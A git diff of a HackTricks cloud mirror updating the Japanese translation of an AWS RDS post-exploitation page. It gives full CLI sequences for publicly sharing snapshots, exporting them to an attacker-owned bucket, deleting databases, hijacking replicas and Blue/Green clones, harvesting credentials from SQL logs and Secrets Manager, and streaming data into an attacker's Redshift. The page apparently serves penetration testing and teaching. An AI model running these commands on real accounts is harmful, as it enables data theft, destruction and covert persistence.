mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-05 20:40:18 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## RDS
|
||||
|
||||
For more information check:
|
||||
詳細は以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-relational-database-rds-enum.md
|
||||
@@ -39,21 +39,49 @@ aws rds modify-db-instance \
|
||||
# Connect to the new DB after a few mins
|
||||
```
|
||||
### `rds:StopDBCluster` & `rds:StopDBInstance`
|
||||
rds:StopDBCluster または rds:StopDBInstance を持つ attacker は、RDS インスタンスまたはクラスタ全体を即時に停止させることができ、データベースの利用不可、接続の切断、およびデータベースに依存するプロセスの中断を引き起こします。
|
||||
rds:StopDBCluster または rds:StopDBInstance を持つ攻撃者は、RDS インスタンスまたはクラスタ全体を即時に停止させることができ、データベースの利用不可、接続の切断、およびデータベースに依存するプロセスの中断を引き起こします。
|
||||
|
||||
単一の DB インスタンスを停止するには(例):
|
||||
単一の DB インスタンスを停止する例:
|
||||
```bash
|
||||
aws rds stop-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
|
||||
```
|
||||
DB クラスター全体を停止する(例):
|
||||
DB cluster 全体を停止するには(例):
|
||||
```bash
|
||||
aws rds stop-db-cluster \
|
||||
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
|
||||
```
|
||||
### `rds:Modify*`
|
||||
rds:Modify* が付与された攻撃者は、instance や cluster に直接触れることなく、parameter groups、option groups、proxy endpoints と endpoint-groups、target groups、subnet groups、capacity settings、snapshot/cluster attributes、certificates、integrations などの重要な設定や補助リソースを変更できます。接続/タイムアウトパラメータの調整、proxy endpoint の変更、信頼する certificates の変更、論理的な capacity の変更、subnet group の再構成といった変更は、セキュリティを弱体化させ(新たなアクセス経路を開く)、ルーティングやロードバランシングを破壊し、レプリケーション/バックアップポリシーを無効化し、全般的に可用性や復旧性を低下させる可能性があります。これらの変更はまた、間接的なデータ exfiltration を助長したり、インシデント後のデータベースの秩序ある復旧を妨げることがあります。
|
||||
|
||||
Move or change the subnets assigned to an RDS subnet group:
|
||||
```bash
|
||||
aws rds modify-db-subnet-group \
|
||||
--db-subnet-group-name <db-subnet-group-name> \
|
||||
--subnet-ids <subnet-id-1> <subnet-id-2>
|
||||
```
|
||||
クラスタパラメータグループ内の低レベルなエンジンパラメータを変更する:
|
||||
```bash
|
||||
aws rds modify-db-cluster-parameter-group \
|
||||
--db-cluster-parameter-group-name <parameter-group-name> \
|
||||
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"
|
||||
```
|
||||
### `rds:Restore*`
|
||||
|
||||
`rds:Restore*` の権限を持つ攻撃者は、スナップショット、自動バックアップ、point-in-time recovery (PITR)、または S3 に保存されたファイルからデータベース全体を復元し、選択した時点のデータで構成された新しいインスタンスやクラスターを作成できます。これらの操作は元のリソースを上書きするのではなく — 履歴データを含む新しいオブジェクトを作成するため — 攻撃者はデータベースの完全で機能するコピー(過去の時点から、または外部の S3 ファイルから)を入手し、exfiltrate data、履歴記録の改ざん、または以前の状態の再構築に利用できます。
|
||||
|
||||
DBインスタンスを特定の時点に復元する:
|
||||
```bash
|
||||
aws rds restore-db-instance-to-point-in-time \
|
||||
--source-db-instance-identifier <source-db-instance-identifier> \
|
||||
--target-db-instance-identifier <target-db-instance-identifier> \
|
||||
--restore-time "<restore-time-ISO8601>" \
|
||||
--db-instance-class <db-instance-class> \
|
||||
--publicly-accessible --no-multi-az
|
||||
```
|
||||
### `rds:Delete*`
|
||||
|
||||
rds:Delete* を付与された攻撃者は RDS resources を削除でき、DB instances、clusters、snapshots、automated backups、subnet groups、parameter/option groups および関連するアーティファクトを削除して、即時のサービス停止、データ損失、復旧ポイントの破壊、フォレンジック証拠の喪失を引き起こす可能性があります。
|
||||
rds:Delete* が付与された攻撃者は RDS リソースを削除でき、DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups and related artifacts を削除して即時のサービス停止、データ喪失、復旧ポイントの破壊、およびフォレンジック証拠の喪失を引き起こす可能性があります。
|
||||
```bash
|
||||
# Delete a DB instance (creates a final snapshot unless you skip it)
|
||||
aws rds delete-db-instance \
|
||||
@@ -76,9 +104,9 @@ aws rds delete-db-cluster \
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
これらの権限を持つ攻撃者は、**DBのスナップショットを作成**して、それを**公開** **利用可能**にすることができます。すると、自分のアカウントでそのスナップショットからDBを作成するだけで済みます。
|
||||
これらの権限を持つ攻撃者は、**DBのsnapshotを作成**し、それを**公開** **利用可能**にすることができます。すると、自分のアカウントでそのsnapshotからDBを作成するだけです。
|
||||
|
||||
攻撃者が **`rds:CreateDBSnapshot` を持っていない** 場合でも、**他の** 作成されたスナップショットを **公開** することができます。
|
||||
攻撃者が**`rds:CreateDBSnapshot` を持っていない**場合でも、既に作成された**他の**snapshotを**公開**にすることは可能です。
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -89,48 +117,48 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
`rds:DownloadDBLogFilePortion` の権限を持つ攻撃者は **RDSインスタンスのログファイルの一部をダウンロードできます**。機密データやアクセス資格情報が誤ってログに記録されていた場合、攻撃者はその情報を使って権限を昇格させたり、不正な操作を実行したりする可能性があります。
|
||||
`rds:DownloadDBLogFilePortion` 権限を持つ攻撃者は、**RDS インスタンスのログファイルの一部をダウンロードすることができます**。もし機密データやアクセス資格情報が誤ってログに記録されていた場合、攻撃者はこの情報を利用して権限を昇格させたり、不正な操作を行ったりする可能性があります。
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**Potential Impact**: leaked credentials を使用して機密情報にアクセスしたり、不正な操作を行ったりする可能性があります。
|
||||
**潜在的な影響**: leaked credentials を使用して機密情報にアクセスしたり、不正な操作を行うことができる。
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
これらの権限を持つ攻撃者は **既存の RDS インスタンスを DoS** することができます。
|
||||
これらの権限を持つ攻撃者は **DoS 既存の RDS インスタンス** を実行することができる。
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**潜在的な影響**: 既存のRDSインスタンスの削除、およびデータ喪失の可能性。
|
||||
**潜在的な影響**: 既存の RDS インスタンスの削除、およびデータ喪失の可能性。
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: テスト
|
||||
|
||||
攻撃者がこの権限を持っていると、**RDSインスタンスのスナップショットをS3バケットにエクスポートする**ことができます。攻撃者が宛先のS3バケットを制御している場合、エクスポートされたスナップショット内の機密データにアクセスできる可能性があります。
|
||||
この権限を持つ攻撃者は **RDS インスタンスのスナップショットを S3 バケットにエクスポートすることができます**。攻撃者が宛先の S3 バケットを制御できる場合、エクスポートされたスナップショット内の機密データにアクセスできる可能性があります。
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Potential impact**: エクスポートされたスナップショット内の機密データへのアクセス。
|
||||
**潜在的な影響**: エクスポートされたスナップショット内の機密データへのアクセス
|
||||
|
||||
### ステルス復旧のためのクロスリージョン自動バックアップ複製 (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
### ステルス復元のためのクロスリージョン自動バックアップ複製 (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
クロスリージョンの自動バックアップ複製を悪用して、RDSインスタンスの自動バックアップを別の AWS Region に密かに複製し、そこで復元します。攻撃者は復元した DB を公開してマスターパスワードをリセットし、守備側が監視していない Region で別経路からデータにアクセスできます。
|
||||
クロスリージョンの自動バックアップ複製を悪用して、RDSインスタンスの自動バックアップを別のAWSリージョンにこっそり複製し、そこで復元します。攻撃者は復元したDBをパブリックに公開し、マスターパスワードをリセットして、守備側が監視していないリージョンで別経路(out-of-band)からデータにアクセスすることができます。
|
||||
|
||||
必要な権限(最小):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication`(宛先のRegionで)
|
||||
- `rds:DescribeDBInstanceAutomatedBackups`(宛先のRegionで)
|
||||
- `rds:RestoreDBInstanceToPointInTime`(宛先のRegionで)
|
||||
- `rds:ModifyDBInstance`(宛先のRegionで)
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication`(オプションのクリーンアップ)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`(復元したDBを公開するため)
|
||||
Permissions needed (minimum):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` (宛先リージョンで)
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` (宛先リージョンで)
|
||||
- `rds:RestoreDBInstanceToPointInTime` (宛先リージョンで)
|
||||
- `rds:ModifyDBInstance` (宛先リージョンで)
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (オプション:クリーンアップ)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (復元したDBを公開するため)
|
||||
|
||||
影響: 本番データのコピーを別のRegionに復元し、攻撃者が管理する資格情報で公開することで、Persistence および data exfiltration が可能になる。
|
||||
Impact: 本番データのコピーを別リージョンに復元し、攻撃者管理の認証情報で公開することで、Persistence と data exfiltration が可能になる。
|
||||
|
||||
<details>
|
||||
<summary>エンドツーエンドのCLI(プレースホルダを置き換えてください)</summary>
|
||||
<summary>エンドツーエンド CLI(プレースホルダを置き換えてください)</summary>
|
||||
```bash
|
||||
# 1) Recon (SOURCE region A)
|
||||
aws rds describe-db-instances \
|
||||
@@ -199,9 +227,9 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### DBパラメータグループ経由で完全な SQL ログを有効化し、RDS log APIs 経由で exfiltrate
|
||||
### DBパラメータグループを使って完全なSQLログを有効化し、RDSのログAPI経由で外部持ち出しする
|
||||
|
||||
`rds:ModifyDBParameterGroup` を悪用して RDS のログダウンロード API を使い、アプリケーションで実行される全ての SQL ステートメントを取得します(DBエンジンの資格情報は不要)。エンジンの SQL ロギングを有効化し、`rds:DescribeDBLogFiles` と `rds:DownloadDBLogFilePortion`(または REST の `downloadCompleteLogFile`)でログファイルを取得します。秘密情報/PII/JWTs を含む可能性のあるクエリの収集に有用です。
|
||||
`rds:ModifyDBParameterGroup` をRDSのログダウンロードAPIと組み合わせて悪用することで、アプリケーションで実行されたすべてのSQL文を取得できます(DBエンジンの認証情報は不要)。エンジンのSQLロギングを有効にし、`rds:DescribeDBLogFiles` と `rds:DownloadDBLogFilePortion`(またはRESTの `downloadCompleteLogFile`)でログファイルを取得します。秘密情報、PII、JWTを含む可能性のあるクエリの収集に有用です。
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
@@ -210,15 +238,15 @@ Permissions needed (minimum):
|
||||
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
|
||||
|
||||
Steps
|
||||
1) Recon target and current parameter group
|
||||
1) 標的と現在のパラメータグループの確認
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) custom DB parameter group がアタッチされていることを確認する(default は編集できない)
|
||||
- インスタンスが既に custom DB parameter group を使用している場合は、次のステップでその名前を再利用する。
|
||||
- そうでなければ、engine family に合わせたものを作成してアタッチする:
|
||||
2) カスタムDBパラメータグループがアタッチされていることを確認する(デフォルトは編集できない)
|
||||
- インスタンスが既にカスタムグループを使用している場合、次のステップでその名前を再利用する。
|
||||
- そうでなければ、エンジンファミリーに一致するものを作成してアタッチする:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
@@ -232,8 +260,8 @@ aws rds modify-db-instance \
|
||||
--apply-immediately
|
||||
# Wait until status becomes "available"
|
||||
```
|
||||
3) 詳細な SQL ログを有効化する
|
||||
- MySQL エンジン(即時適用 / 再起動不要):
|
||||
3) 詳細な SQL ログを有効化
|
||||
- MySQL エンジン(即時 / 再起動不要):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -244,7 +272,7 @@ aws rds modify-db-parameter-group \
|
||||
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
|
||||
```
|
||||
- PostgreSQL エンジン(再起動が必要):
|
||||
- PostgreSQL engines (再起動が必要):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -260,7 +288,7 @@ aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
5) ログを発見してダウンロードする(DB creds は不要)
|
||||
5) ログを発見してダウンロードする(DBの認証情報は不要)
|
||||
```bash
|
||||
aws rds describe-db-log-files --db-instance-identifier <DB>
|
||||
|
||||
@@ -271,18 +299,18 @@ aws rds download-db-log-file-portion \
|
||||
--starting-token 0 \
|
||||
--output text > dump.log
|
||||
```
|
||||
6) オフラインで機密データを分析する
|
||||
6) オフラインで機密データを解析する
|
||||
```bash
|
||||
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
|
||||
```
|
||||
証拠の例 (編集済み):
|
||||
例の証拠(編集済み):
|
||||
```text
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
|
||||
```
|
||||
クリーンアップ
|
||||
- パラメータをデフォルトに戻し、必要な場合は再起動する:
|
||||
- パラメータをデフォルトに戻し、必要に応じて再起動する:
|
||||
```bash
|
||||
# MySQL
|
||||
aws rds modify-db-parameter-group \
|
||||
@@ -297,19 +325,19 @@ aws rds modify-db-parameter-group \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
影響: ポストエクスプロイテーションで、AWS APIs を介してアプリケーションの全ての SQL ステートメントをキャプチャすることでデータへアクセス可能(no DB creds)、potentially leaking secrets, JWTs, and PII。
|
||||
影響: Post-exploitation data access by capturing all application SQL statements via AWS APIs (no DB creds), potentially leaking secrets, JWTs, and PII.
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
RDS の読み取りレプリカを悪用して、プライマリインスタンスの資格情報に触れずにアウトオブバンドの読み取りアクセスを得る。攻撃者は本番インスタンスから読み取りレプリカを作成し、レプリカのマスターパスワードをリセット(これはプライマリを変更しない)、必要に応じてレプリカを公開してデータを exfiltrate することができる。
|
||||
プライマリインスタンスの認証情報に触れずに、RDSのread replicaを悪用してアウト・オブ・バンドの読み取りアクセスを取得できます。攻撃者は本番インスタンスからread replicaを作成し、レプリカのmaster passwordをリセット(これはプライマリを変更しません)し、必要に応じてレプリカを公開してデータをexfiltrateすることが可能です。
|
||||
|
||||
必要な権限(最小):
|
||||
- `rds:DescribeDBInstances`
|
||||
- `rds:CreateDBInstanceReadReplica`
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (公開する場合)
|
||||
|
||||
影響: 攻撃者が管理する資格情報を持つレプリカ経由で本番データへの読み取り専用アクセスが得られる。プライマリに手を触れずレプリケーションが継続するため、検知されにくい。
|
||||
影響: 攻撃者が制御する資格情報を持つレプリカ経由で本番データへの読み取り専用アクセスを得られる。プライマリが触られずレプリケーションが継続するため、検出される可能性が低くなります。
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
@@ -340,13 +368,13 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
|
||||
# Optional: promote for persistence
|
||||
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
Example evidence (MySQL):
|
||||
- レプリカDBステータス:`available`、読み取りレプリケーション:`replicating`
|
||||
- 新しいパスワードでの接続に成功し、`@@read_only=1` により読み取り専用レプリカへのアクセスを確認
|
||||
証拠の例 (MySQL):
|
||||
- レプリカ DB ステータス: `available`、読み取りレプリケーション: `replicating`
|
||||
- 新しいパスワードでの接続に成功し、`@@read_only=1` によって読み取り専用レプリカアクセスが確認された。
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
RDS Blue/Green を悪用して、本番DBを継続的にレプリケートされる読み取り専用の green 環境にクローンします。次に green マスターの資格情報をリセットして、blue(prod)インスタンスに触れずにデータへアクセスします。これは snapshot sharing よりもステルス性が高く、ソースのみを監視している監視を回避することが多いです。
|
||||
RDS Blue/Green を悪用して、本番 DB を継続的にレプリケートされる読み取り専用の green 環境にクローンします。次に green のマスター資格情報をリセットして、blue (prod) インスタンスに触れずにデータへアクセスします。これは snapshot sharing よりもステルス性が高く、ソースのみを監視している監視体制を回避することが多いです。
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
@@ -393,21 +421,22 @@ aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
影響: 読み取り専用だが、本番インスタンスを変更せずにほぼリアルタイムの production クローンに対する完全なデータアクセスを得られる。ステルスなデータ抽出やオフライン分析に有用。
|
||||
影響: 本番インスタンスを変更せずに、ほぼリアルタイムの本番クローンに対して読み取り専用ながら完全なデータアクセスを得られます。ステルスなデータ抽出やオフライン分析に有用です。
|
||||
|
||||
|
||||
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
|
||||
|
||||
Aurora を悪用してターゲットクラスタで RDS Data API の HTTP endpoint を有効化し、master password を自分が制御する値にリセットして、HTTPS 経由で SQL を実行する(VPC ネットワーク経路は不要)。Data API/EnableHttpEndpoint をサポートする Aurora エンジンで動作する(例: Aurora MySQL 8.0 provisioned; 一部の Aurora PostgreSQL/MySQL バージョン)。
|
||||
Aurora を悪用してターゲットクラスターで RDS Data API HTTP endpoint を有効化し、マスターパスワードを自分で制御する値にリセットして、HTTPS 経由で SQL を実行します(VPC ネットワーク経路は不要)。Data API/EnableHttpEndpoint をサポートする Aurora エンジンで動作します(例: Aurora MySQL 8.0 provisioned;一部の Aurora PostgreSQL/MySQL バージョン)。
|
||||
|
||||
Permissions (minimum):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
権限(最小):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster(または rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
- rds-data:ExecuteStatement(使用する場合は rds-data:BatchExecuteStatement も)
|
||||
|
||||
影響: ネットワーク分割をバイパスし、DB への直接的な VPC 接続がなくても AWS API 経由でデータを exfiltrate できる。
|
||||
影響: ネットワーク区分を回避し、DB へ直接的な VPC 接続がなくても AWS API 経由でデータを持ち出せます。
|
||||
|
||||
<details>
|
||||
<summary>エンドツーエンド CLI (Aurora MySQL の例)</summary>
|
||||
<summary>エンドツーエンド CLI (Aurora MySQL example)</summary>
|
||||
```bash
|
||||
# 1) Identify target cluster ARN
|
||||
REGION=us-east-1
|
||||
@@ -459,22 +488,22 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
```
|
||||
</details>
|
||||
|
||||
注意:
|
||||
- rds-data によって multi-statement SQL が拒否される場合は、個別に execute-statement を呼び出してください。
|
||||
- modify-db-cluster --enable-http-endpoint が効果を持たないエンジンでは、rds enable-http-endpoint --resource-arn を使用してください。
|
||||
- エンジン/バージョンが実際に Data API をサポートしていることを確認してください。そうしないと HttpEndpointEnabled は False のままになります。
|
||||
注記:
|
||||
- rds-data によって複数文の SQL が拒否される場合は、個別に execute-statement を呼び出してください。
|
||||
- modify-db-cluster --enable-http-endpoint に効果がないエンジンの場合は、rds enable-http-endpoint --resource-arn を使用してください。
|
||||
- 実際に Data API をサポートしているエンジン/バージョンであることを確認してください。そうでないと HttpEndpointEnabled は False のままになります。
|
||||
|
||||
|
||||
### RDS Proxy の auth secrets を介して DB 資格情報を取得する (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
### RDS Proxy の認証シークレットから DB 資格情報を収集する (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
RDS Proxy の設定を悪用してバックエンド認証に使われる Secrets Manager の secret を特定し、その secret を読み取ってデータベースの資格情報を取得します。多くの環境では広範な `secretsmanager:GetSecretValue` が付与されており、これにより DB 資格情報への低摩擦なピボットが可能になります。secret が CMK を使用している場合、誤った範囲の KMS 権限により `kms:Decrypt` も可能になることがあります。
|
||||
RDS Proxy の設定を悪用して、バックエンド認証に使用される Secrets Manager の secret を特定し、その secret を読み取ってデータベースの資格情報を取得します。多くの環境では広範な `secretsmanager:GetSecretValue` が付与されており、これにより DB 資格情報への低摩擦なピボットが可能になります。secret が CMK を使用している場合、誤ったスコープの KMS 権限により `kms:Decrypt` も可能になることがあります。
|
||||
|
||||
必要な権限(最小):
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` を参照される SecretArn に対して
|
||||
- secret が CMK を使用している場合のオプション: そのキーに対する `kms:Decrypt`
|
||||
- `secretsmanager:GetSecretValue` on the referenced SecretArn
|
||||
- Optional when the secret uses a CMK: `kms:Decrypt` on that key
|
||||
|
||||
影響: プロキシに設定された DB のユーザー名/パスワードが即座に開示され、直接の DB アクセスやさらなる横移動を可能にします。
|
||||
影響: プロキシに設定された DB のユーザー名/パスワードが即座に露出し、直接の DB アクセスやさらなる横移動が可能になります。
|
||||
|
||||
手順
|
||||
```bash
|
||||
@@ -489,7 +518,7 @@ aws secretsmanager get-secret-value \
|
||||
--query SecretString --output text
|
||||
# Example output: {"username":"admin","password":"S3cr3t!"}
|
||||
```
|
||||
ラボ(再現のための最小構成)
|
||||
ラボ(再現に必要な最小限)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
@@ -508,24 +537,24 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
|
||||
aws rds wait db-proxy-available --db-proxy-name p0
|
||||
# Now run the enumeration + secret read from the Steps above
|
||||
```
|
||||
クリーンアップ (lab)
|
||||
クリーンアップ(ラボ)
|
||||
```bash
|
||||
aws rds delete-db-proxy --db-proxy-name p0
|
||||
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
|
||||
aws iam delete-role --role-name rds-proxy-secret-role
|
||||
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
|
||||
```
|
||||
### Aurora zero‑ETL to Amazon Redshift 経由のステルスな継続的データ流出 (rds:CreateIntegration)
|
||||
### ステルスな継続的 exfiltration via Aurora PostgreSQL zero‑ETL を介して Amazon Redshift へ (rds:CreateIntegration)
|
||||
|
||||
Aurora PostgreSQL zero‑ETL 統合を悪用して、本番データを自分が管理する Redshift Serverless namespace に継続的に複製します。特定の Aurora クラスタ ARN に対して CreateInboundIntegration/AuthorizeInboundIntegration を許可する寛容な Redshift リソースポリシーがあれば、攻撃者は DB 資格情報、スナップショット、ネットワーク公開なしでほぼリアルタイムのデータコピーを確立できます。
|
||||
Aurora PostgreSQL zero‑ETL integration を悪用して、本番データをあなたが管理する Amazon Redshift Serverless namespace に継続的に複製します。許容的な Amazon Redshift リソースポリシーが特定の Aurora クラスター ARN に対して CreateInboundIntegration/AuthorizeInboundIntegration を許可している場合、攻撃者は DB creds、snapshots、またはネットワーク露出なしでほぼリアルタイムのデータコピーを確立できます。
|
||||
|
||||
Permissions needed (minimum):
|
||||
必要な権限(最小):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (クエリ用)
|
||||
- `rds-data:ExecuteStatement` (任意; 必要ならデータ投入用)
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
|
||||
- `rds-data:ExecuteStatement` (optional; to seed data if needed)
|
||||
|
||||
Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
テスト済み: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
|
||||
<details>
|
||||
<summary>1) Redshift Serverless namespace と workgroup を作成</summary>
|
||||
@@ -544,7 +573,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>2) Redshift のリソースポリシーを設定して Aurora ソースを許可する</summary>
|
||||
<summary>2) Redshiftのリソースポリシーを設定してAuroraソースを許可する</summary>
|
||||
```bash
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SRC_ARN=<AURORA_CLUSTER_ARN>
|
||||
@@ -575,7 +604,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>3) Aurora PostgreSQL クラスターを作成する (Data API と logical replication を有効化)</summary>
|
||||
<summary>3) Aurora PostgreSQL クラスターを作成する(Data API と論理レプリケーションを有効にする)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
@@ -606,7 +635,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>4) RDSからzero‑ETL integrationを作成する</summary>
|
||||
<summary>4) RDS から zero‑ETL 統合を作成する</summary>
|
||||
```bash
|
||||
# Include all tables in the default 'postgres' database
|
||||
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
|
||||
@@ -618,7 +647,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>5) Redshiftで複製されたデータをマテリアライズしてクエリする</summary>
|
||||
<summary>5) Redshiftの複製データをマテリアライズしてクエリする</summary>
|
||||
```bash
|
||||
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
|
||||
@@ -632,10 +661,10 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
|
||||
</details>
|
||||
|
||||
テストで観察された証拠:
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION は integration_id 377a462b-c42c-4f08-937b-77fe75d98211 と state PendingDbConnectState を DB 作成前に表示していた。
|
||||
- CREATE DATABASE FROM INTEGRATION 実行後、テーブル一覧で schema ztl と table customers が見つかり、ztl.customers からの選択は 2 行 (Alice, Bob) を返した。
|
||||
- redshift describe-inbound-integrations: Integration arn:...377a462b-... の Status は ACTIVE
|
||||
- SVV_INTEGRATION は DB 作成前に integration_id 377a462b-c42c-4f08-937b-77fe75d98211 と state PendingDbConnectState を示していた。
|
||||
- CREATE DATABASE FROM INTEGRATION 実行後、テーブル一覧で schema ztl と table customers が確認され、ztl.customers を SELECT すると 2 行 (Alice, Bob) が返った。
|
||||
|
||||
影響: 攻撃者が制御する Redshift Serverless へ、選択した Aurora PostgreSQL テーブルを database credentials、backups、または source cluster への network access を使用せずに継続的かつ準リアルタイムに exfiltration できる。
|
||||
影響: 攻撃者が制御する Redshift Serverless への、選択した Aurora PostgreSQL テーブルの継続的かつほぼリアルタイムな exfiltration が可能になり、データベース認証情報、バックアップ、またはソースクラスターへのネットワークアクセスを使用しない。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
